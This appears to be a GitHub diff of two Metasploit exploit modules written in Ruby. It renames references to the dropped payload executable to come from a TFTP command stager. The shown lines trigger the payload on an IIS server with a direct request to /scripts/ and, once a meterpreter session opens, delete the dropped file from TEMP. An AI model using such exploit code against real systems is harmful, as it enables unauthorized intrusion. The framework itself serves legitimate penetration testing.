File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -332,12 +332,12 @@ def exploit
332332
333333 # Save these file names for later deletion
334334 @exe_cmd_copy = exe_fname
335- @exe_payload = payload_exe
335+ @exe_payload = stager_instance . payload_exe # Grab this info from CmdStagerTFTP
336336
337337 # Just for good measure, we'll make a quick, direct request for the payload
338338 # Using the "start" method doesn't seem to make iis very happy :(
339339 print_status ( "Triggering the payload via a direct request..." )
340- res = send_request_raw ( { 'uri' => '/scripts/' + payload_exe , 'method' => 'GET' } , 1 )
340+ res = send_request_raw ( { 'uri' => '/scripts/' + stager_instance . payload_exe , 'method' => 'GET' } , 1 )
341341 end
342342
343343 handler
Original file line number Diff line number Diff line change @@ -163,7 +163,7 @@ def exploit
163163 end
164164
165165 def on_new_session ( client )
166- return if not payload_exe
166+ return if not stager_instance . payload_exe
167167
168168 #can't scrub dropped payload while the process is still active so...
169169 #iterate through process list, find our process and the associated
@@ -174,7 +174,7 @@ def on_new_session(client)
174174 #SeeRM#8365 https://http://dev.metasploit.com/redmine/issues/8365
175175
176176 unless client . type == "meterpreter"
177- print_error ( "Automatic cleanup only available with meterpreter, please delete #{ payload_exe } manually" )
177+ print_error ( "Automatic cleanup only available with meterpreter, please delete #{ stager_instance . payload_exe } manually" )
178178 return
179179 end
180180
@@ -191,7 +191,7 @@ def on_new_session(client)
191191 end
192192
193193 win_temp = client . sys . config . getenv ( 'TEMP' )
194- win_file = "#{ win_temp } \\ #{ payload_exe } "
194+ win_file = "#{ win_temp } \\ #{ stager_instance . payload_exe } "
195195 print_status ( "Attempting to delete #{ win_file } ..." )
196196 client . shell_command_token ( %Q|attrib.exe -r #{ win_file } | )
197197 client . fs . file . rm ( win_file )
You can’t perform that action at this time.
0 commit comments